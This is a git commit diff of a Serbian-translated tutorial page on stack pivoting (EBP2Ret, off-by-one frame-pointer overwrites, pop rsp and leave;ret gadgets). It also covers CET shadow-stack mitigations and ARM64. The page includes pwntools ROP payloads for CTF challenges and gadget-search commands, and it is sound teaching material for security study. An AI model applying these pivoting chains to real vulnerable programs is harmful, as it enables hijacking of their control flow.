Translated ['src/binary-exploitation/stack-overflow/stack-pivoting-ebp2r

This commit is contained in:
Translator 2025-08-18 16:16:46 +00:00
parent eea7d0fd69
commit 0cbc8622f1

View File

@ -4,57 +4,61 @@
## Osnovne informacije ## Osnovne informacije
Ova tehnika koristi sposobnost manipulacije **Base Pointer (EBP)** za povezivanje izvršavanja više funkcija kroz pažljivu upotrebu EBP registra i **`leave; ret`** instrukcijske sekvence. Ova tehnika koristi sposobnost manipulacije **Base Pointer (EBP/RBP)** da poveže izvršavanje više funkcija kroz pažljivu upotrebu frame pointer-a i **`leave; ret`** instrukcijske sekvence.
Kao podsetnik, **`leave`** u suštini znači: Kao podsetnik, na x86/x86-64 **`leave`** je ekvivalentno:
``` ```
mov ebp, esp mov rsp, rbp ; mov esp, ebp on x86
pop ebp pop rbp ; pop ebp on x86
ret ret
``` ```
And as the **EBP is in the stack** before the EIP it's possible to control it controlling the stack. I kao što je sačuvani **EBP/RBP u steku** pre sačuvanog EIP/RIP, moguće je kontrolisati ga kontrolišući stek.
> Napomene
> - Na 64-bit, zamenite EBP→RBP i ESP→RSP. Semantika je ista.
> - Neki kompajleri izostavljaju pokazivač okvira (vidi “EBP možda neće biti korišćen”). U tom slučaju, `leave` možda neće biti prisutan i ova tehnika neće raditi.
### EBP2Ret ### EBP2Ret
Ova tehnika je posebno korisna kada možete **promeniti EBP registar, ali nemate direktan način da promenite EIP registar**. Ona koristi ponašanje funkcija kada završe izvršavanje. Ova tehnika je posebno korisna kada možete **izmeniti sačuvani EBP/RBP, ali nemate direktan način da promenite EIP/RIP**. Ona koristi ponašanje epiloga funkcije.
Ako, tokom izvršavanja `fvuln`, uspete da injektujete **lažni EBP** u stek koji pokazuje na oblast u memoriji gde se nalazi adresa vašeg shellcode-a (plus 4 bajta da se uzme u obzir `pop` operacija), možete indirektno kontrolisati EIP. Kada `fvuln` vrati, ESP se postavlja na ovu kreiranu lokaciju, a naredna `pop` operacija smanjuje ESP za 4, **efikasno ga usmeravajući na adresu koju je napadač sačuvao tamo.**\ Ako, tokom izvršenja `fvuln`, uspete da injektujete **lažni EBP** u stek koji pokazuje na oblast u memoriji gde se nalazi adresa vašeg shellcode/ROP lanca (plus 8 bajtova na amd64 / 4 bajta na x86 da bi se računalo za `pop`), možete indirektno kontrolisati RIP. Kada funkcija vrati, `leave` postavlja RSP na kreiranu lokaciju, a naredni `pop rbp` smanjuje RSP, **efikasno ga usmeravajući na adresu koju je napadač sačuvao tamo**. Tada će `ret` koristiti tu adresu.
Obratite pažnju da **morate znati 2 adrese**: onu na koju će ESP ići, gde ćete morati da upišete adresu na koju pokazuje ESP.
#### Exploit Construction Obratite pažnju kako **morate znati 2 adrese**: adresu na koju će ESP/RSP ići, i vrednost sačuvanu na toj adresi koju će `ret` konzumirati.
Prvo morate znati **adresu na kojoj možete pisati proizvoljne podatke / adrese**. ESP će pokazivati ovde i **izvršiće prvi `ret`**. #### Konstrukcija Eksploata
Zatim, morate znati adresu koju koristi `ret` koja će **izvršiti proizvoljni kod**. Možete koristiti: Prvo morate znati **adresu na kojoj možete pisati proizvoljne podatke/adrese**. RSP će pokazivati ovde i **konzumiraće prvi `ret`**.
Zatim, morate izabrati adresu koju koristi `ret` koja će **preneti izvršenje**. Možete koristiti:
- Validnu [**ONE_GADGET**](https://github.com/david942j/one_gadget) adresu. - Validnu [**ONE_GADGET**](https://github.com/david942j/one_gadget) adresu.
- Adresu **`system()`** praćenu sa **4 junk bajta** i adresom `"/bin/sh"` (x86 bitovi). - Adresu **`system()`** praćenu odgovarajućim povratkom i argumentima (na x86: `ret` cilj = `&system`, zatim 4 bajta smeća, zatim `&"/bin/sh"`).
- Adresu **`jump esp;`** gadgeta ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) praćenu **shellcode-om** koji treba izvršiti. - Adresu **`jmp esp;`** gadgeta ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) praćenu inline shellcode-om.
- Neki [**ROP**](../rop-return-oriented-programing/index.html) lanac. - [**ROP**](../rop-return-oriented-programing/index.html) lanac postavljen u memoriji koja se može pisati.
Zapamtite da pre bilo koje od ovih adresa u kontrolisanom delu memorije, mora biti **`4` bajta** zbog **`pop`** dela `leave` instrukcije. Bilo bi moguće iskoristiti ovih 4B da postavite **drugi lažni EBP** i nastavite sa kontrolisanjem izvršavanja. Zapamtite da pre bilo koje od ovih adresa u kontrolisanoj oblasti, mora biti **prostora za `pop ebp/rbp`** iz `leave` (8B na amd64, 4B na x86). Možete iskoristiti ove bajtove da postavite **drugi lažni EBP** i zadržite kontrolu nakon što se prvi poziv vrati.
#### Off-By-One Exploit #### Off-By-One Eksploit
Postoji specifična varijanta ove tehnike poznata kao "Off-By-One Exploit". Koristi se kada možete **samo modifikovati najmanje značajan bajt EBP-a**. U takvom slučaju, memorijska lokacija koja čuva adresu na koju treba skočiti sa **`ret`** mora deliti prva tri bajta sa EBP-om, omogućavajući sličnu manipulaciju sa više ograničenim uslovima.\ Postoji varijanta koja se koristi kada možete **samo izmeniti najmanje značajan bajt sačuvanog EBP/RBP**. U tom slučaju, memorijska lokacija koja čuva adresu na koju treba skočiti sa **`ret`** mora deliti prva tri/pet bajtova sa originalnim EBP/RBP tako da prepisivanje od 1 bajta može preusmeriti. Obično se nizak bajt (offset 0x00) povećava da bi se skočilo što je dalje moguće unutar obližnje stranice/usaglašene oblasti.
Obično se modifikuje bajt 0x00 da skoči što je dalje moguće.
Takođe, uobičajeno je koristiti RET sled u steku i staviti pravi ROP lanac na kraj kako bi se povećala verovatnoća da novi ESP pokazuje unutar RET SLED-a i da se konačni ROP lanac izvrši. Takođe je uobičajeno koristiti RET klizaljku u steku i staviti pravi ROP lanac na kraj kako bi se povećala verovatnoća da novi RSP pokazuje unutar klizaljke i da se konačni ROP lanac izvrši.
### **EBP Chaining** ### EBP Lanci
Dakle, postavljanjem kontrolisane adrese u `EBP` unos steka i adrese za `leave; ret` u `EIP`, moguće je **premestiti `ESP` na kontrolisanu `EBP` adresu iz steka**. Postavljanjem kontrolisane adrese u sačuvani `EBP` slot steka i `leave; ret` gadgeta u `EIP/RIP`, moguće je **premestiti `ESP/RSP` na adresu koju kontroliše napadač**.
Sada je **`ESP`** kontrolisan i pokazuje na željenu adresu, a sledeća instrukcija za izvršavanje je `RET`. Da biste to iskoristili, moguće je staviti na kontrolisano mesto ESP ovo: Sada je `RSP` kontrolisan i sledeća instrukcija je `ret`. Stavite u kontrolisanu memoriju nešto poput:
- **`&(next fake EBP)`** -> Učitaj novi EBP zbog `pop ebp` iz `leave` instrukcije - `&(next fake EBP)` -> Učitano sa `pop ebp/rbp` iz `leave`.
- **`system()`** -> Pozvan od strane `ret` - `&system()` -> Pozvano sa `ret`.
- **`&(leave;ret)`** -> Pozvan nakon što sistem završi, premestiće ESP na lažni EBP i ponovo početi - `&(leave;ret)` -> Nakon što `system` završi, premesti RSP na sledeći lažni EBP i nastavlja.
- **`&("/bin/sh")`**-> Parametar za `system` - `&("/bin/sh")` -> Argument za `system`.
U suštini, na ovaj način je moguće povezati nekoliko lažnih EBP-a kako bi se kontrolisao tok programa. Na ovaj način je moguće povezati nekoliko lažnih EBPa kako bi se kontrolisao tok programa.
Ovo je kao [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), ali složenije bez očigledne koristi, ali bi moglo biti zanimljivo u nekim ivicama. Ovo je kao [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), ali složenije i korisno samo u ivicama.
Štaviše, ovde imate [**primer izazova**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) koji koristi ovu tehniku sa **stack leak** da pozove pobedničku funkciju. Ovo je konačni payload sa stranice: Štaviše, ovde imate [**primer izazova**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) koji koristi ovu tehniku sa **stack leak** da pozove pobedničku funkciju. Ovo je konačni payload sa stranice:
```python ```python
@ -72,7 +76,7 @@ POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 POP_RSI_R15 = 0x401229
payload = flat( payload = flat(
0x0, # rbp (could be the address of anoter fake RBP) 0x0, # rbp (could be the address of another fake RBP)
POP_RDI, POP_RDI,
0xdeadbeef, 0xdeadbeef,
POP_RSI_R15, POP_RSI_R15,
@ -81,23 +85,24 @@ POP_RSI_R15,
elf.sym['winner'] elf.sym['winner']
) )
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP) payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat( payload += flat(
buffer, # Load leak address in RBP buffer, # Load leaked address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
) )
pause() pause()
p.sendline(payload) p.sendline(payload)
print(p.recvline()) print(p.recvline())
``` ```
> amd64 alignment tip: System V ABI zahteva 16-bajtno poravnanje steka na mestima poziva. Ako vaša lanac poziva funkcije kao što je `system`, dodajte uređaj za poravnanje (npr., `ret`, ili `sub rsp, 8 ; ret`) pre poziva kako biste održali poravnanje i izbegli `movaps` rušenja.
## EBP možda neće biti korišćen ## EBP možda neće biti korišćen
Kao [**objašnjeno u ovom postu**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), ako je binarni fajl kompajliran sa nekim optimizacijama, **EBP nikada ne kontroliše ESP**, stoga, bilo koja eksploatacija koja funkcioniše kontrolisanjem EBP će u osnovi propasti jer nema stvarni efekat.\ Kao [**objašnjeno u ovom postu**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), ako je binarni fajl kompajliran sa nekim optimizacijama ili sa izostavljanjem pokazivača okvira, **EBP/RBP nikada ne kontroliše ESP/RSP**. Stoga, bilo koja eksploatacija koja funkcioniše kontrolisanjem EBP/RBP će propasti jer prolog/epilog ne obnavlja iz pokazivača okvira.
To je zato što se **prolog i epilog menjaju** ako je binarni fajl optimizovan.
- **Nije optimizovan:** - Nije optimizovano / pokazivač okvira korišćen:
```bash ```bash
push %ebp # save ebp push %ebp # save ebp
mov %esp,%ebp # set new ebp mov %esp,%ebp # set new ebp
@ -108,22 +113,24 @@ sub $0x100,%esp # increase stack size
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp) leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return ret # return
``` ```
- **Optimizovano:** - Optimizovano / pokazivač okvira izostavljen:
```bash ```bash
push %ebx # save ebx push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size sub $0x100,%esp # increase stack size
. .
. .
. .
add $0x10c,%esp # reduce stack size add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx pop %ebx # restore
ret # return ret # return
``` ```
## Druge metode za kontrolu RSP Na amd64 često ćete videti `pop rbp ; ret` umesto `leave ; ret`, ali ako je pokazivač okvira potpuno izostavljen, tada ne postoji `rbp`-bazirani epilog kroz koji se može pivotirati.
### **`pop rsp`** gadget ## Drugi načini za kontrolu RSP
[**Na ovoj stranici**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) možete pronaći primer korišćenja ove tehnike. Za ovaj izazov bilo je potrebno pozvati funkciju sa 2 specifična argumenta, a postojala je **`pop rsp` gadget** i postoji **leak sa steka**: ### `pop rsp` gadget
[**Na ovoj stranici**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) možete pronaći primer korišćenja ove tehnike. Za taj izazov bilo je potrebno pozvati funkciju sa 2 specifična argumenta, a tu je bio **`pop rsp` gadget** i postoji **leak sa steka**:
```python ```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp # Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments # This version has added comments
@ -167,7 +174,7 @@ pause()
p.sendline(payload) p.sendline(payload)
print(p.recvline()) print(p.recvline())
``` ```
### xchg \<reg>, rsp gadget ### xchg <reg>, rsp gadget
``` ```
pop <reg> <=== return pointer pop <reg> <=== return pointer
<reg value> <reg value>
@ -181,20 +188,67 @@ Proverite ret2esp tehniku ovde:
../rop-return-oriented-programing/ret2esp-ret2reg.md ../rop-return-oriented-programing/ret2esp-ret2reg.md
{{#endref}} {{#endref}}
## Reference i Ostali Primeri ### Brzo pronalaženje pivot gadgeta
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/) Koristite svoj omiljeni alat za pronalaženje gadgeta da biste pretražili klasične pivot primitivne:
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html) - `leave ; ret` na funkcijama ili u bibliotekama
- 64 bita, off by one eksploatacija sa rop lancem koji počinje sa ret sled - `pop rsp` / `xchg rax, rsp ; ret`
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html) - `add rsp, <imm> ; ret` (ili `add esp, <imm> ; ret` na x86)
- 64 bita, bez relro, kanarinca, nx i pie. Program omogućava leak za stack ili pie i WWW za qword. Prvo dobijte stack leak i koristite WWW da se vratite i dobijete pie leak. Zatim koristite WWW da kreirate večnu petlju zloupotrebljavajući `.fini_array` unose + pozivajući `__libc_csu_fini` ([više informacija ovde](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Zloupotrebljavajući ovu "večnu" pisanje, upisuje se ROP lanac u .bss i završava pozivajući ga pivotovanjem sa RBP.
Primeri:
```bash
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
```
### Класични образац за пивотирање
Робустна стратегија пивотирања која се користи у многим CTF-овима/експлоатима:
1) Користите мали иницијални прелив да позовете `read`/`recv` у велику пишућу област (нпр., `.bss`, хип, или мапирана RW меморија) и поставите потпуну ROP ланцу тамо.
2) Вратите се у пивот гажет (`leave ; ret`, `pop rsp`, `xchg rax, rsp ; ret`) да преместите RSP у ту област.
3) Наставите са постављеним ланцем (нпр., leak libc, позовите `mprotect`, затим `read` shellcode, затим скочите на њега).
## Савремене мере које прекидају пивотирање стека (CET/Shadow Stack)
Савремени x86 ЦПУ-ови и ОС-ови све више примењују **CET Shadow Stack (SHSTK)**. Са укљученим SHSTK, `ret` упоређује адресу повратка на нормалном стеку са хардверски заштићеним сенчним стеком; свака неслагања подижу Control-Protection грешку и убијају процес. Стога, технике као што су EBP2Ret/leave;ret-базирани пивоти ће се срушити чим се изврши први `ret` из пивотираног стека.
- За позадину и дубље детаље погледајте:
{{#ref}}
../common-binary-protections-and-bypasses/cet-and-shadow-stack.md
{{#endref}}
- Брзи прегледи на Линуксу:
```bash
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
```
- Beleške za laboratorije/CTF:
- Neke moderne distribucije omogućavaju SHSTK za CET-omogućene binarne datoteke kada su prisutni hardverska i glibc podrška. Za kontrolisano testiranje u VM-ovima, SHSTK se može onemogućiti sistemski putem parametra za pokretanje kernela `nousershstk`, ili selektivno omogućiti putem glibc podešavanja tokom pokretanja (vidi reference). Ne onemogućavajte mitigacije na produkcionim ciljevima.
- JOP/COOP ili SROP zasnovane tehnike bi mogle biti izvodljive na nekim ciljevima, ali SHSTK posebno prekida `ret`-zasnovane pivote.
- Napomena za Windows: Windows 10+ izlaže korisnički režim, a Windows 11 dodaje kernel-režim "Zaštita steka zasnovana na hardveru" izgrađena na senčanim stekovima. Procesi kompatibilni sa CET sprečavaju pivotiranje steka/ROP na `ret`; programeri se prijavljuju putem CETCOMPAT i povezanih politika (vidi referencu).
## ARM64 ## ARM64
U ARM64, **prolog i epilog** funkcija **ne čuvaju i ne preuzimaju SP registar** u stacku. Štaviše, **`RET`** instrukcija ne vraća na adresu koju pokazuje SP, već **na adresu unutar `x30`**. U ARM64, **prolog i epilog** funkcija **ne čuvaju i ne preuzimaju SP registar** u steku. Štaviše, **`RET`** instrukcija se ne vraća na adresu koju pokazuje SP, već **na adresu unutar `x30`**.
Stoga, po defaultu, samo zloupotrebljavajući epilog **nećete moći da kontrolišete SP registar** prepisivanjem nekih podataka unutar stacka. I čak i ako uspete da kontrolišete SP, i dalje bi vam bila potrebna mogućnost da **kontrolišete `x30`** registar. Stoga, po defaultu, samo zloupotrebljavajući epilog **nećete moći da kontrolišete SP registar** prepisivanjem nekih podataka unutar steka. I čak i ako uspete da kontrolišete SP, i dalje bi vam bila potrebna mogućnost da **kontrolišete `x30`** registar.
- prolog - prolog
@ -213,12 +267,23 @@ ret
``` ```
> [!CAUTION] > [!CAUTION]
> Način da se izvede nešto slično pivotovanju stacka u ARM64 bio bi da se može **kontrolisati `SP`** (kontrolisanjem nekog registra čija se vrednost prosleđuje `SP` ili zato što iz nekog razloga `SP` uzima svoju adresu iz stacka i imamo overflow) i zatim **zloupotrebljavati epilog** da učitamo **`x30`** registar iz **kontrolisanog `SP`** i **`RET`** na njega. > Način da se izvede nešto slično pivotiranju steka u ARM64 bio bi da se može **kontrolisati `SP`** (kontrolisanjem nekog registra čija se vrednost prosleđuje `SP` ili zato što iz nekog razloga `SP` uzima svoju adresu iz steka i imamo preliv) i zatim **zloupotrebljavati epilog** da se učita **`x30`** registar iz **kontrolisanog `SP`** i **`RET`** na njega.
Takođe na sledećoj stranici možete videti ekvivalent **Ret2esp u ARM64**: Takođe, na sledećoj stranici možete videti ekvivalent **Ret2esp u ARM64**:
{{#ref}} {{#ref}}
../rop-return-oriented-programing/ret2esp-ret2reg.md ../rop-return-oriented-programing/ret2esp-ret2reg.md
{{#endref}} {{#endref}}
## Reference
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
- 64 bita, off by one eksploatacija sa rop lancem koji počinje sa ret sled
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
- 64 bita, bez relro, kanar, nx i pie. Program omogućava leak za stek ili pie i WWW za qword. Prvo dobijte leak steka i koristite WWW da se vratite i dobijete leak pie. Zatim koristite WWW da kreirate večnu petlju zloupotrebljavajući `.fini_array` unose + pozivajući `__libc_csu_fini` ([više informacija ovde](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Zloupotrebljavajući ovo "večito" pisanje, upisuje se ROP lanac u .bss i završava pozivajući ga pivotirajući sa RBP.
- Dokumentacija Linux kernela: Tehnologija zaštite toka kontrole (CET) Senčani stek — detalji o SHSTK, `nousershstk`, `/proc/$PID/status` zastavicama i omogućavanju putem `arch_prctl`. https://www.kernel.org/doc/html/next/x86/shstk.html
- Microsoft Learn: Zaštita steka zasnovana na hardveru u režimu kernela (CET senčani stekovi na Windows-u). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}